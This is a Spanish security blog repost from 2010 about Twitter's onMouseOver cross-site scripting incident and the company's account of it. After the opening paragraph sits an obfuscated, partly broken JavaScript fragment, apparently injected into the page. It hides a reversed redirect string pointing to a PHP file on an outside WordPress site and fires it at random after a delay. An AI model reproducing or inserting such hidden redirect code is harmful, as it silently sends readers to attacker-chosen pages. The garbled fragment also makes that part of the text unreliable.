Twitter minimiza el fallo de seguridad: eran “bromistas”
Un post titulado ‘Todo sobre el incidente del onMouseOver’ en el blog oficial de Twitter explica a los usuarios qué ha sido lo ocurrido durante el martes en sus ‘timelines’, los cuales se llenaron de mensajes involuntarios a causa de un fallo de seguridad.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toweb/fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
Twitter admite el fallo de seguridad, pide disculpas a sus usuarios y alerta de que no es necesario que cambien sus contraseñas de acceso, aunque también resalta que éste fue aprovechado, fundamentalmente, por bromistas y ‘spammers’.
La web de la red de microblogging se vio afectada por un fallo de seguridad que hizo que los usuarios vieran cómo se publicaban en su perfil enlaces a páginas de terceros. Dichos links tenían, además, una peculiaridad: redirigían o abrían una nueva ventana con sólo pasar el puntero por encima de ellos.
Ante estos hechos, la compañía intentó tranquilizar a sus miembros mediante un post publicado en su blog en el que aseguraba haber estado sobre el problema desde primera hora de la mañana. Así, afirmaban que a las siete de la mañana, “el principal problema estaba resuelto”.
Sin embargo, dos horas más tarde, surgía “una cuestión de menos importancia ligada a los ‘hovercards'”. Fue ésta la que hizo correr la alarma entre los usuarios, que se recomendaban unos a otros cerrar su sesión ante lo que pudiera ocurrir.
El primer fallo fue ocasionado fue ocasionado por un ‘cross-site scripting’, una práctica consistente en colocar un código de una página web en lugar de otro de confianza, en este caso se trató de un código javascript que al pasar el ratón por encima del ‘tweet’ en cuestión redirigía a otras páginas.
Según la red de microblogging, descubrieron este fallo el mes pasado, pero esta semana resurgió a causa de unas actualizaciones y fue aprovechado por un usuario en ‘Twitter.com’, si bien no tuvo repercusión en su sitio web para móviles y en sus aplicaciones móviles.
Fuente
Comentario:
Pues lo que podía ser una catástrofe, terminó en solo un gran susto !
saludos
ms, 22-9-2010
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.